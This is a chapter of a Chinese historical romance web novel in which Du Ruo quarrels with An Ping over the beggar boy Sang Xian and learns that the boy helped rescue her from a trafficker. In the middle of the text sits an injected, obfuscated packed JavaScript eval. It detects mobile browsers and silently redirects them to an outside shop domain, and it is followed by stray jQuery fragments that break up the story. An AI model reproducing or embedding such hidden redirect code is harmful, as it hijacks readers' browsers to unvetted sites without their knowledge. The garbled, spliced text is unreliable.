人大凡躺得久了,身子都会僵些,手臂抬了几下,使得上力,伸展开来却还吃力,腿上亦是一样,由着大病初愈,整个人气力像是被抽干了。
慢行亦是极限,终归比日夜躺着好,杜若不敢怠慢,活络起身体来。
穿戴得只多不少,扶着床沿墙角,双脚沾地挪得认真。
谁知不过刚吁着气拉开房门,鼻肺里纳新吐浊那口气横梗着一时提不上来,呼吸就此凝滞了片刻,杜若白日见鬼般受了惊吓,摔坐在地上。
她瞧见了那个“小伥鬼”在作祟,穿得人模狗样,模样也规整得体,可化成灰杜若也认得出他。
他那双眼睛又盛满了可怜兮兮的光,如同不招人喜爱的小狗灰溜溜低下了头。
假的,他在骗人,他是“伥鬼”,几道深浅不一的疤烙在他面上,日头下更为可怖,是人泄愤时留下的。
杜若身上也有几道,还在结痂,体会不到疼了,心火却烧在心头,永生难忘,昏迷时翻来覆去地滚腾,总要被拉入无休止的深渊。
安平自回来后也没开堂授课,随时候着差遣,循声赶来时,正见杜若正瘫坐在地上,脸埋入膝盖浑身缩成一团,全身止不住地抖,似有莫大的恐怖事,只能以这样脆弱的法子护住自己。
原先着手劈柴的桑闲呆立着不敢动弹,知道安平来了更垂着头不敢看他。
安平亦有失算的时候,他早想到杜若会十分厌恶桑闲,可他错估了杜若的恐惧,这件事在杜若心中扎得根比他想的还要深。
安平支使桑闲回了屋,抱起地上的杜若将她轻轻放回榻上,前几日还在执拗的男女大防,暗自较劲的克己复礼,在她捂着脸哭成一团时如鸿毛轻。
她到底不过是个十七岁的姑娘家,涉世未深又无可依傍,以自己来量她之思,总会少几分感同身受,多方考量,也还没来得及与她解释,造成这种局面多是他的过失。
知她受了不小的惊吓,安平一时也慌了神,这副模样是头回见,不知当怎么做才好,只能轻轻抚拍她的背,遍遍宽慰道:“我在这。”
还记得在那受业火日夜焚蚀的梦境里,有如轮回,一年又一年,一天又一天,焦灼可怖,惶惶不可终日。
生不如死时,也不知去向何方,依稀记得晦暗中透出几缕月光,和着那月色她隐约窥见了安平,就如饮鸩止渴,她反倒宁愿葬在月华下。
有人宽慰总是好的,尤其是他,可又为何是他?
恐惧慢慢退却后,心头先涌上来是愤,其次是怨,还有些恨,可又为何是他?
自己分明才得见月色完满,于是得自惭形秽之心,迷茫间险些为其折服,就遭了这般的下场。
他到底是为了什么?莫非那满月并非大德圣心,只是恣意而为?
她将他推开,方才为了安抚于她,两人离得有些近了,安平见她不再发抖也就自觉的坐远了些,杜若哭得声音哑了。
她仰头定定盯了过来,往常惯会躲闪的眸子里透出几分倔意,颤着声问道:“你说真话,知不知道他们是一伙的。”
不是疑问,是肯定。
“我知道,第一眼就知道。”
也是肯定,如她所愿,连哄骗都免了。
连她都想得清楚,安平又怎么会想不到,也许是她看走了眼,也看轻了自己,这世上根本就不存在于她而言完满的月轮。
“你出去吧,我想歇歇。”
他不肯走,安平还想说些什么,张口吐出:“他并非”三字,就被杜若的哽咽声生生打断了:“也许他是很可怜,可我不愿一生活在阴影之中”。
她僵着脖子哭道:“安平哥哥,假若你为我考虑过分毫,就让他走吧。”
言罢才近乎哀求地加了句:“我知道是你救我回来,这件事,算我求你。”
杜若挪得离他远远的,情绪翻涌之间,安平在言辞间初次逆了杜若的意,不是甚么“好”,也不是“我答应你”,而是“我答应过他。”
翻涌之间尚存一线勉强维系,决堤之际,理智的弦顷刻断了,她不明白,他是于她有大恩,她言出有因又如此卑微相求,怎么还要咄咄逼人。
这是她平生第一次与人动了手,动作快过了脑子。
安平又没能把话说完,他与她离得不近,当觉察到她要做甚么时,本早该有所作为的。
可看着她那颤颤巍巍的身形,还有那双哭肿了的兔子眼时,他呆了片刻,就那么生生挨了她一巴掌。
两人方知后知后觉,撒气过后杜若才开始怕了,她那只气势汹汹的手被安平扣得死紧,往回挣了挣,却是做起无用功,安平似是回过神来,轻轻一用力,就把她往身前带了带,安平生气了,这是杜若平生第一次见识。
安平不觉得痛,她那样有气无力地,只是觉得她被他娇纵惯了,脾性一上来,也不愿多听他言语,方才气焰嚣张极了,甚会哭闹,也不给他辩驳的当口。
而今半倾着身子,低头不敢看他,也停了哭闹,又装作一副温驯兔儿情态。
他一字一顿地开口,不温不冷,比之前都慢,无人再来阻挠。
“倘若我说,救你的并非我呢。”
兔子刚受过惊吓,一惊一乍间尚可体谅,听了他这话也没敢有个动静,想来不管他接下来说甚么,她都不会置喙。
掌中皓腕亦是随了主人乖巧温驯,浑不似刚才气势汹汹,指腹不觉摩挲一二,她的睫羽因着鼻息如蝶翼般多振了几翅。
安平似是因此想到了什么,面色微缓,将她放开去。
才说起当时情形,杜若微缩一边静静听着。
原来那时愧疚之余,小叫花子偷偷捡了杜若的斗笠,多年受迫行凶他心里总是良心难安。
自我安慰也罢,假惺惺也好,为着能让心里好受些,每桩案子若有机会他总会留下些不算线索的线索,既想有人发觉,又怕为人发觉。
譬如那一次,因着人婆子还想再宰只肥羊,才让他有机可趁,城南事发地是县里最繁华的,来往人众,也是羔羊成群的好地方。
人婆子贪心不足不肯换地方,又因着捕快四处巡逻大多只感远远盯着他。
小叫花子偷偷撕下斗笠的一点,混着朱砂与熟米悄悄黏到了杜若画像背面,这画像张张皆是出自安平之手,由官府张贴。
安平关心则乱,四处茫然奔走,不曾停歇,也许是他心如毫发,也许是他本就异于常人,竟真让他察觉到常人目力难视的朱砂印子。
那斗笠是安平相赠杜若的,一眼便知,朱砂混着白米留下的指印里有污渍,看大小是个孩子的。
果然在一旁彩铺前见到个满身污尘的孩子,看样子不过十岁左右,拇指上偷蹭了些店家摆在稍外的朱砂。
一个有许多秘密却口不能言的孩子遇上了最会“蛊惑人心”的安平,安平只一句话出口,那个孩子便信了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728948|208917||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他畏惧了多年,小小年纪非人般苟且偷生,却也为自己为安平卖了一次命。
“行商”出城时更是需持路引,县衙早已批下,不好查证去处,那孩子在慈幼坊时识过字,人婆子谨慎,向来将他装进麻袋运走,从不将下程告知。
他亦是趁人不备,偷来看了,才冒了险依约传出字条,有了下程将往,自然好提前做下埋伏。
这一番,但凡少了一环,走错一步,杜若大约就再也回不来了,所幸是万幸。
“你受了良多苦楚,有气有怨,亦想早些迎你回来,可那人婆子生性多疑,精通下九流的招数,手上血债累累又尽是些亡命之徒,桩桩件件少不得起了疑心怒而杀人,便是在出城查验时也有过火烧“货品”,引乱逃脱的先例,我不能拿你去赌。”
“山路难行,天黑林密,松懈之下,胜算方大,若是当日走的是官道,难保还能截到与否,追逐之下,恐难全你。”
安平正襟危坐,说话间时眉宇微蹙,神态不如往日和风拂面,平日里她眼中无大悲无大喜、圣心圣面圣言的小菩萨,今日一日竟也见遍了他的微嗔与哀愁。
可细细想来杜若方才一时失了心神,凭着臆想胡搅蛮缠了一通,又在以己度人了,还月色圆缺阴晴呢,哭肿的眼还未消,脸不免烧红了。
这大约是安平自顾自地与她说过最长的话,到底多不省心,能让安平也略有委屈地倒起苦水,那时痛苦煎熬的不止她一个,望着如今他的样子也晓得了,她想有些话是她该说的。
“对不住。”恃宠而骄的“兔儿”红着眼伸手扯了扯他的衣角,安平这才侧过头来问道:“哪里?”
杜若目光游过了安平的脸颊和眼睛,低头说:“许多地方,不应乱跑,不应乱想,最不应乱来。”
安平对她总是无可奈何的,连气也生的糊涂,早已消得七七八八了,不知自己是生来脾气就好,还是对她如此。
他在杜若的眼里看到了疼惜,不是后悔知错,而是一个女人对一个男人有了心疼。
这是一个好兆头吗?至少对他是吧。
安平顿了顿,想起她方才哭歇,才斟酌好语气,又转回了平日那副万事皆可的温好模样,细语劝解起来,词句却不:“心善怎会是错,错的是该死之人。”
总归不是朝着她来的,杜若微红的眼亮了亮,说道:“安平哥哥,不生气了。”
杜若很肯定,安平不生她的气了,得寸进尺地下了结论,甚至心里还有些洋洋得意。
安平却想,当初大约真是宠过了头,如今却别无他法,只好受着了,只怕她不长记性。
“我与他有诺在先,君子一言,自当有信,却也因此让你受了惊吓,只当扯平,但你需答应我下不为例。”
“我答应。”杜若轻快地点了头,她自然也不会想有下次。
安平明白,她好似懂了,却还不懂,她懂得了畏惧,体会了他的苦处,却还不懂天意茫茫不可测,狡兔三窟尚且难防,更何况她事事有依。
若有一日,无人在她身侧,她才会真正骄矜惜命。
“救下你的不是我,而是天意。”他叹了口气,杜若不太明白,只觉得他说的太过浩渺飘忽,心里还盘算着安平过往的“账”,此时她愿意一笔勾销。
万般皆是命,半点不由人,后来杜若解意时早已不复当年莽撞天真,无论得失是非,安平教会了她许多东西,这亦是其中之一。